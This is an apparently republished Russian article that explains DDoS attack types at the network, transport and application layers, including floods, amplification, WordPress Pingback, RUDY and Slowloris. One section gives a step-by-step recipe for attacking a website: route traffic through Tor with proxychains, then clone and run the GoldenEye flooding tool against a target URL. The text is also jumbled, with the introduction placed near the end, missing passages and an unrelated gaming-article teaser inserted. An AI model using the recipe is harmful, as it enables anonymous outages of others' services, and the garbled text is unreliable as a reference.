В реальной жизни, атакующие могут использовать комбинацию различных видов атак на инфраструктуру (в т.ч. осуществлять сканирование сети). Такое действо можно описать как изменение вектора атаки, которое зачастую не требует от атакующего каких-либо значительных затрат.

В чем опасность сканирования применительно к DDoS?

Сканирование сети — и использование сетевых сканеров — означает разведку сети. Обычно стараются достичь следующих целей (одной или нескольких):

  • Определение находящихся в сети узлов (сетевое сканирование)

  • Выявление открытых портов и функционирующих сервисов (сканирование портов)

  • Выявление известных уязвимостей веб-приложений (сканирование безопасности)

Имея на руках эти данные, атакующий может скорректировать свои усилия: например, зная, что какая-то уязвимость приводит к падению условного веб-сервера (что расценивается как отказ в обслуживании, DoS) — он может перестать вас атаковать HTTP-флудом, а использовать эту уязвимость (смена вектора атаки).

Сканирование бывает активным и пассивным. Активному сканированию вы можете противостоять, но пассивному противостоять сложнее, т.к. в этом сценарии атакующий не проводит непосредственно сканирование вашей инфраструктуры, а получает информацию о ней из других источников, например, Shodan.

К сожалению, некоторые компании, специализирующиеся на защите от DDoS-атак, не рассматривают сканирование в качестве атаки и не считают нужным ему противостоять. Действительно, на первый взгляд, никакого вреда системе нет. Тем не менее, с таким подходом трудно согласиться: как уже говорилось выше, практически всегда сканирование предваряет атаку, позволяя атакующему выяснить, какие сервисы работают в целевой системе, версию сервисов, версию операционных систем, назначение систем и сервисов и впоследствии подготовить и провести целенаправленную атаку.

В тоже время, само по себе сканирование не всегда является злонамеренным действием, все зависит от его целей. Службы информационной безопасности или сотрудники ИТ вполне могут прибегнуть к сканированию для выявления уязвимостей инфраструктуры и выполнения иных задач.

Возможны сочетания нескольких способов злонамеренного воздействия одновременно. Достаточно нескольких минут для изменения воздействия на атакуемые ресурсы, а одного вида атаки, который успешно осуществлен – для остановки работы целевой системы. На рисунке ниже сделана попытка показать, на какую цель направлен какой вектор:

Root ddos

Краткий пересказ всех частей

Поскольку материала набралось достаточное количество, решил разнести в несколько постов, чтобы проще было читать.

Часть 1: То, что вы читаете сейчас. Самый-самый базис: что такое DDoS-атака и основные типы атак, с примерами

Часть 2: Защита от DDoS-атак. Почитать тут.

Как выполнить атаку DDoS на сайт?

Шаг 1. Запустить EtherApe:

запуск etherape

Если в системе не установлен EtherApe:

sudo apt install etherape

Шаг 2. Запустить службу Tor (для этого нужно открыть новый терминал):

запустить службу tor

Tor тоже может отсутствовать в системе, особенно если используете Live-дистрибутив. Устанавливается легко:

sudo apt install tor

Шаг 3. Настроить утилиту ProxyChains:

sudo nano /etc/proxychains4.conf

Делаем все как на скринах:

настраиваем proxychains
конфиг proxychains

Добавляем socks5 как на скрине:

добавляем socks5

Далее сохраняем конфиг Ctrl+S и закрываем текстовый редактор Ctrl+X.

Шаг 4. Загрузите GoldenEye:

git clone https://github.com/jseidl/GoldenEye.git

Шаг 5. Перейдите в папку с приложением:

cd GoldenEye

Шаг 6. Запустите атаку (тест):

proxychains4 ./goldeneye.py https://testdomain.com

Это база. Дальше могут возникнуть проблемы или понадобятся более тонкие настройки, что уже выходит за рамки простого мануала.

Атаки сетевого уровня (L3)

В результате, при относительно небольшом трафике, можно добиться перегрузки по количеству пакетов. Атакуемый узел начинает работать нестабильно, терять пакеты.

Усиление атаки достигается использованием бот-сети («ботнета»), когда запросы приходят с тысяч узлов. Кроме этого, можно отправить запрос по широковещательному адресу с поддельным адресом-источника пакета (так называемые Smurf-атаки). Отправка эхо-запроса ICMP на широковещательный адрес заставляет все узлы в этой сети отправить эхо-ответы на подмененный адрес, который и является адресом жертвы, то есть происходит усиление атаки (Amplification). Схема на рисунке ниже.

Root ddos

Принципы атаки схожи с предыдущим вариантом и заключаются в отправке множества UDP-пакетов на определённые номера портов атакуемого узла, который для каждого полученного пакета должен идентифицировать соответствующее приложение, отправив ответное ICMP-сообщение «адресат недоступен» или, в худшем случае, передать данные UDP-пакета пользовательскому приложению и оттранслировать полученный ответ.

В итоге, атакуемая система окажется перегруженной, поэтому после начала атаки зловредный трафик может быстро захватить всю доступную полосу пропускания, не оставив ничего легитимному трафику, что и является целью атакующего – не дать работать легитимным пользователям. Подменив IP‑адреса источников в UDP-пакетах, атакующий может перенаправить поток ICMP-ответов и тем самым сохранить работоспособность атакующих узлов, а также обеспечить их маскировку.

Следует отметить, что ни ICMP flood, ни UDP flood не используют уязвимостей системы, то есть мы имеем дело со стандартными принципами работы стека протокола TCP/IP.

Кроме того, существуют методы, позволяющих значительно (в 10-1000 раз) усилить атаку, например, направив исходный трафик атаки не непосредственно на атакуемый узел, а на уязвимый промежуточный сервер, обеспечивающий усиление (Amplification).

Атаки на транспортный уровень

Атаки на транспортном уровне сети обычно эксплуатируют основные «узкие места» в реализации протокола TCP при установке сессии. Обычно это либо этап установления сессии, либо атака на таблицу соединений протокола TCP. Ниже разберем основные типы атак.

Атака типа SYN flood эксплуатирует особенность стека протоколов TCP/IP – потребность установки TCP-сессии. В отличие от UDP, где это не требуется, при TCP-взаимодействии необходимо, чтобы отправитель «договорился» с получателем перед тем, как что-то будет отправлено. Для этого используется механизм three-way handshake – «тройного рукопожатия», или трехэтапного подтверждения. Принцип его работы выглядит следующим образом:

1.      Клиент посылает пакет с TCP-сегментом SYN (Synchronize);

2.      Сервер отвечает пакетом с сегментом SYN-ACK (Synchronize-Acknowledge);

3.      Клиент подтверждает прием пакета SYN-ACK пакетом ACK (Acknowledge).

На этом процедура установления соединения завершается. Но, что существенно, сервер обязан выделить все необходимые ресурсы в момент получения SYN-сегмента от клиента, до отсылки ответного пакета SYN-ACK.

Сложность использования этих методов состоит в том, что для генерации SYN Cookies необходимы адекватные текущему уровню атак вычислительные мощности и сетевые ресурсы с пропускной способностью от 100 Гбит/с и более. Защищённая инфраструктура должна обладать этими ресурсами в обязательном порядке.

Root ddos

TCP Connection Flood

Для более успешного противодействия такой атаке обычно ограничивают таймауты на установление и поддержание (в состоянии бездействия, idle time) TCP-соединений. Как правило, оптимальное значение – около 60 секунд, но оно может варьироваться в зависимости от задач, возложенных на сервер.

В то же время, категорически нельзя использовать «чёрные списки» для фильтрации любых атак, не задействующих открытые TCP-соединения, например, для борьбы с SYN flood или ICMP flood. Использование «чёрных списков» для этой цели может привести к недоступности сервиса для легитимных пользователей, а в дальнейшем – к исчерпанию памяти и других вычислительных ресурсов средства фильтрации трафика.

Атаки, основанные на протоколе SSL/TLS

HTTPS Flood – атака на Secure Socket Layer (SSL): с ростом популярности этого метода шифрования, используемого в различных сетевых протоколах, он также стал мишенью для атакующих. Концептуально SSL или его современная версия – TLS – используется поверх TCP/IP, обеспечивая безопасность соединений путем шифрования и аутентификации сторон.

DDoS-атаки, связанные с протоколом SSL/TLS, принимают различные формы: они могут быть нацелены на механизм взаимодействия при установлении SSL/TLS-сессии и выражаться в отправке «мусорных» данных на сервер SSL/TLS или эксплуатации определенных функций, связанных с процессом согласования ключей шифрования SSL/TLS. Такого рода атаки обычно считаются «асимметричными», так как сервер расходует на обработку атаки с использованием SSL/TLS гораздо больше ресурсов, чем требуется для ее запуска.

Например, атака THC-SSL-DoS использует малое количество пакетов для приведения в состояние «отказ в обслуживании» даже достаточно мощного сервера. В ходе этой атаки сначала инициируется SSL взаимодействие для установки сессии, а затем немедленно запрашивается процедура повторного согласования ключа шифрования.

Дополнительно:  Почему не работает микрофон в в World of Tanks: как настроить микрофон в Ворлд оф Танк.

Этот инструмент постоянно повторяет запрос на повторное согласование до тех пор, пока все ресурсы сервера не будут исчерпаны. Атакующие предпочитают запускать атаки с использованием SSL, потому что установка каждой сессии SSL требует примерно в 15 раз больше ресурсов на стороне сервера, чем на стороне клиента. Фактически, один обыкновенный домашний персональный компьютер при определенных условиях может вывести из строя целый web‑сервер, использующий SSL, а несколько компьютеров могут вывести из строя всю серверную часть (даже целую ферму) защищенных онлайн сервисов.

Атаки на web-приложения

Наиболее распространенными DDoS-атаками, нацеленными на приложения, являются разновидности атак на протокол HTTP. В литературе для обозначения таких атак обычно используется обобщенный термин HTTP flood. Обычно для их осуществления используется бот-сеть из зараженных устройств, но в ряде случаев в состав атакующих вполне могут входить и добровольцы, например, когда речь идет о целенаправленной хактивистской деятельности.

В атаке могут использоваться любые HTTP-запросы, но обычно используют GET и POST. Атака также может осуществляться с использованием шифрованных TLS-сессий. Конечной целью атаки является исчерпание ресурсов web‑приложения. Тут надо понимать, что «железных» ресурсов сервера еще может оставаться много — и незабитого канала тоже может (но не обязательно) остаться много. Но узким местом станет именно само веб-приложение: из-за особенностей конфигурации или в силу других причин оно либо просто перестанет обслуживать легальные запросы, либо просто упадет.

Следовательно, ответные пакеты сервера не вызовут эффекта отказа в обслуживании атакующего узла, более того, таких узлов может быть огромное количество.

Угрозы от этой атаки — исчерпание канальной емкости и отказ на уровне обработки запросов, так как у любого HTTP-сервера, а тем более – web-приложения или ресурсов, обеспечивающих его работу (система авторизации, СУБД и др.), есть свой предел производительности. В результате, легальный запрос не будет обработан, а пользователь не получит своей порции цифрового контента.

Root ddos

HTTP-атаки с использованием шифрования (HTTPS Flood)

В настоящее время практически все разработчики используют в своих приложениях SSL/TLS для шифрования трафика и обеспечения сквозной безопасности при передаче данных. Любая DDoS-атака на приложение, допускающее шифрование, может быть запущена поверх трафика, зашифрованного SSL/TLS, что создает определенные трудности в ее идентификации. Большинство технологий противодействия DoS атакам не производят реальной проверки трафика SSL, так как это требует расшифровки зашифрованных данных.

WordPress Pingback DDoS

Определенная популярность есть у Reflection DDoS-атак уровня L7 (приложений). Наиболее характерным примером такой атаки является WordPress Pingback DDoS, которую и рассмотрим.

Основной её принцип заключается в следующем. Чрезвычайно распространённый web-фреймворк WordPress до определенных версий предоставлял публичное API, позволяющее запросить любую web-страницу с любого удалённого HTTP-сервера без авторизации. Таким образом, отправив небольшой (до 400 байт) запрос на уязвимый WordPress-сервер, можно было инициировать загрузку любой крупной страницы (или файла, если это возможно без авторизации) с атакуемого сервера на уязвимый сервер.

В ходе такой атаки определённая нагрузка ложится и на уязвимый WordPress-сервер, однако, в силу того, что в нападении участвует несколько тысяч WordPress-серверов и атака разделяется между ними примерно равномерно, нагрузка на каждый отдельный сервер обычно не является критичной и может быть даже не замечена системным администратором на фоне ежедневной средней загрузки. Основная же доля нагрузки приходится именно на атакуемый ресурс.

Интересно, что эта атака, несмотря на то, что WordPress давно исправил уязвимость была популярна и в 2021, и 2022 г, поскольку в Интернете находилось порядка нескольких миллионов WordPress-серверов, пригодных для эксплуатации в атаке типа WordPress Pingback DDoS, и, как минимум, в ряде инцидентов принимало участие одновременно до 350 тыс. уязвимых серверов. Так как в большинстве случаев фреймворк WordPress развёрнут не на рабочей станции (как обычный модуль бот-сети), а на сервере с неплохой производительностью и канальной ёмкостью, то атаки типа Pingback DDoS на канальном уровне достигали уровня в 10 Гбит/с и более.

В тоже время, атака типа WordPress Pingback DDoS, организуемая на HTTP-ресурс без шифрования, достаточно легко идентифицируется и несложно фильтруется при наличии достаточной производительности и канальной ёмкости (от 20 Гбит/с).

Важной особенностью Pingback-атаки является то, что уязвимый сервер в состоянии запрашивать произвольные крупные web-страницы как по HTTP, так и по HTTPS, то есть внутри зашифрованной SSL/TLS-сессии. Это приводит к невозможности фильтрации такой Reflection-атаки при отсутствии адекватных механизмов анализа зашифрованного трафика. Для борьбы с Pingback DDoS в общем случае требуется раскрытие текстовой информации, содержащейся внутри TLS-сессий.

В целом, не надо думать, что Pingback-атаки характерны только для WordPress. Они могут вылезти на любом приложении, которое позволяет перенаправить запрос (в силу своей архитектурной особенности или ошибок конфигурации). Поэтому, очень важно, при настройке веб-приложений максимально минимизировать возможности запросов для неавторизованных пользователей — особенно это касается той части, которая отвечает за обработку API.

Full Browser Stack-атаки и имитация поведения пользователя

Одной из самых сложной для идентификации и фильтрации разновидностью атаки уровня приложения являются, так называемые, FBS‑атаки (от англ. «Full Browser Stack» – полноценная среда браузера). В этом случае для генерации паразитных запросов используются не обычные легковесные библиотеки, имитирующие браузер, а полноценный экземпляр браузера, способный корректно формировать запросы (либо качественный эмулятор), загружать с атакуемого web-сервера изображения и CSS-стили, выполнять HTTP-переадресацию и JavaScript-код. Такую атаку очень сложно отследить и классифицировать, анализируя каждый пакет или каждый запрос в отдельности, поскольку каждый отдельный запрос полностью легитимен и идентичен пользовательскому.

Для борьбы с такими атаками недостаточно тривиальных проверок наподобие HTTP-редиректов и JavaScript-проверок. Используются, как правило, нестрогие статистические алгоритмы, анализ истории поведения пользователей, поиск закономерностей и мониторинг состояния защищаемого сервера. Подобный анализ, как правило, чрезвычайно вычислительно сложен и подразумевает хранение больших объёмов данных с возможностью быстрого поиска по ним. Таким образом, решение по фильтрации атак уровня приложения (L7-атак) должно быть в состоянии работать с большими объёмами данных в реальном времени.

Медленные атаки малого объема (Slow and Low)

DDoS атаки не всегда подразумевают большой объем трафика и бот-сети из сотен узлов. Иногда вполне достаточно даже одного компьютера, чтобы остановить работу сервиса. Существует целый класс атак, направленных на приложения, то есть работающих на L7 (прикладном) уровне модели ISO/OSI, использующих минимум ресурсов. Зачастую бывает вполне достаточно и одного компьютера, используются стандартные принципы работы прикладных протоколов. Но их негативное воздействие оказывается весьма значительным, вплоть до полной остановки работы сервисов.

Речь идет о медленных атаках небольшого объема («Slow and Low»). Ниже приведены некоторые представители подобного рода атак.

Are You Dead Yet / RUDY

Принцип этой атаки базируется на стандартном поведении протокола HTTP при обработке запросов POST.

Предположим, имеется web-сайт, на котором находится форма для ввода данных, которую необходимо заполнить пользователю. Например, это характерно для финансовых учреждений, банков, интернет-магазинов, систем бронирования билетов, любого сайта, на котором требуется аутентификация и т.д.

Когда легитимный пользователь заполняет web-форму, на сайт отправляется всего несколько пакетов, после чего сессия с web-сервером закрывается, ресурсы освобождаются. Сервер готов обслуживать запросы других пользователей. Атакующий, использующий специальный инструмент, например, RUDY (сам инструмент достаточно древний и стал именем нарицательным для подобных инструментов, которые разрабатываются и в 2022), действует иначе. Отправляемые на web-сервер данные разбиваются на множество мелких пакетов, каждый из которых содержит лишь небольшой объем данных, например, один байт. Запросы на сервер отправляются со случайным интервалом, что не дает возможность серверу сразу закрыть сессию, поскольку передача данных еще не завершена.

Несколько тысяч таких запросов в течение нескольких минут приводят к тому, что сервер не может отвечать на запросы легитимных пользователей.

Но в данном случае не требуется большой объем трафика или значительное количество пакетов, чтобы вывести ресурс из строя. Все запросы абсолютно легитимны, здесь имитируется поведение системы с медленным каналом связи. Цель атакующего достигнута – работать с сайтом невозможно. Подобная уязвимость характерна практически для любого сайта. Поэтому для отсечки таких атак целесообразно использовать очистку трафика.

Root ddos

Если этот раздел читают «старички в ИБ», то тут наверное они усмехнутся: LOIC, HOIC, HULK, SLOWLORIS — это набор скрипткиддисов, не так ли? 🙂 И зачем раскапывать стюардессу. Но как бы ни так — и инструменты, и методы внезапно ожили в 2021 / 2022 — пруф, к примеру, отчет Radware (ссылка). Поэтому желательно знать принципы таких атак.

Атака SlowLoris, также как и предыдущая, базируется на стандартном поведении протокола HTTP при обработке запросов. Для закрытия HTTP сессии необходимо прислать соответствующую последовательность.

Собственно говоря, так и поступает легитимный пользователь. Правильный запрос на получение данных с web-сервера (Get Request) обычно состоит из одного пакета и завершается специальной последовательностью в конце для разрыва сессии.

 Суть атаки заключается в следующем: используя специальный инструмент SlowLoris или подобные, атакующий генерирует множественные подключения к целевому web-серверу, при этом соединения не закрываются, поскольку в запросе будет отсутствовать соответствующая последовательность символов. В результате, ресурсы сервера будут исчерпаны и легитимные пользователи не смогут подключиться. Цель атакующего достигнута – работать с сайтом невозможно. Большой объем трафика или значительное количество пакетов не требуется, чтобы вывести ресурс из строя.

В целом, не сказать, что атака является достаточно серьезной проблемой, если вы озаботились защитой от DDoS-атак. Но для слабо защищенных веб-серверов она может стать проблемой, несмотря на хорошую детектируемость.

Root ddos

Другим характерным примером атаки на приложения, не связанным напрямую с протоколом HTTP, является DNS flood. Организация его не составляет большого труда, что, собственно, и послужило залогом его большого распространения.

Наверное, на этом стоит закончить длинное описание атак, но нужно упомянуть OWASP (Open Web Application Security Project) — это сообщество ведет периодически обновляемый список OWASP Top 10, в котором перечислены наиболее опасные уязвимости в системе безопасности web-приложений. Использование уязвимостей из этого списка зачастую приводит к различным нарушениям в работе web-приложения либо к его полной остановке, что по сути является DoS.

О чем длиннопост?

Привет читающим этот длиннопост. Давно ничего не писал на Хабре, но 2022 год выдался достаточно непростым в плане DDoS-атак. По роду деятельности, я столкнулся с большим количеством вопросов о том, что такое DDoS-атаки, нужно ли с ними бороться (WTF??? конечно, не нужно, пусть все лежит нужно). Зрелым матерым спецам здесь вряд ли будет интересно.

Хочу сразу отметить, что некоторым читателям, погруженным в банковскую тематику, текст может показаться знакомым. И да, он в каком-то виде был выпущен для узкого круга лиц, но поскольку уже прошло достаточно времени, а данные в целом не устарели и автор этого поста был, в основном, автором этого текста, то я решил выложить его на хабр в несколько сокращенном и подредактированном варианте, дабы давать ссылку на этот пост, когда опять начнут задавать вопросы, либо для своих студентов.

Пользуясь случаем, хочу поблагодарить Qrator Labs — они не принимали участие в подготовке этого поста, но внесли очень большой вклад в оригинальный текст, известный в вышеупомянутых узких кругах. Без них он бы не родился 🙂

Примеры DDoS-атак разных уровней

Ниже я попробовал описать основные DDoS-атаки, которые часто встречаются для L3, L4, L7. Наиболее интересные, конечно, атаки на уровне приложения: они, по моему мнению, более разрушительные (поскольку нарушают логику работы веб-приложения, что приводит к неправильным результатам работы веб-приложения либо вообще упущению прибыли организации) и с ними тяжелей бороться (стандартные «чистилки» трафика L3, L4 тут выручат далеко не всегда, нужно ставить Web Application Firewall (WAF) и настраивать правила детекта и блокировки запросов уже на нем). Атаки L3, L4 обычно приводят просто к недоступности сервиса (он не отвечает вообще либо отвечает ошибками 5хх). Атаки L7 не всегда приводят к появлению таких ошибок.

Что такое L3/L4/L7, про которые часто упоминается в тексте?

L3 / L4 / L7 — названия уровней представления по сетевой модели ISO/OSI. Не вдаваясь в дискуссии, нужна/не нужна эта модель, жива она или мертва — в данном случае это не суть — опишу кратко:

  • L3 — сетевой уровень. Это где происходит трансляция сетевых адресов в физические адреса, на нем работает ряд протоколов маршрутизации и прочих служебных

  • L4 — транспортный уровень. Тут живут протоколы UDP и TCP, уровень отвечает за передачу данных от отправителя к получателю

  • L7 — прикладной уровень. Тут уже живут протоколы HTTP, HTTPS и работают веб-приложения — то, что видите в браузере

Если нужно больше узнать об ISO/OSI — то вэлкам в Википедию: https://ru.wikipedia.org/wiki/Сетевая_модель_OSI#Сетевой_уровень

Что есть ошибки 5хх?

Ошибки 5хх — серия кодов ошибок состояния HTTP, которые отдает сервер, когда не может обработать запрос пользователя. Чаще всего отдает 500 — «внутренняя ошибка сервера» или 502 «Bad Gateway» / 503 «Сервер недоступен». Для интересующихся, полный список можно прочитать в Википедии: https://ru.wikipedia.org/wiki/Список_кодов_состояния_HTTP#5xx

В качестве заключения

В этом длиннопосте я постарался рассмотреть основные типы DDoS-атак и что это вообще такое — DDoS. Надеюсь, будет полезно тем, кто только начинает в этом разбираться. Спасибо всем дочитавшим, а в следующем длиннопосте рассмотрим, как защищаться от DDoS и как выбрать решение.

Оцените статью
Master Hi-technology
Добавить комментарий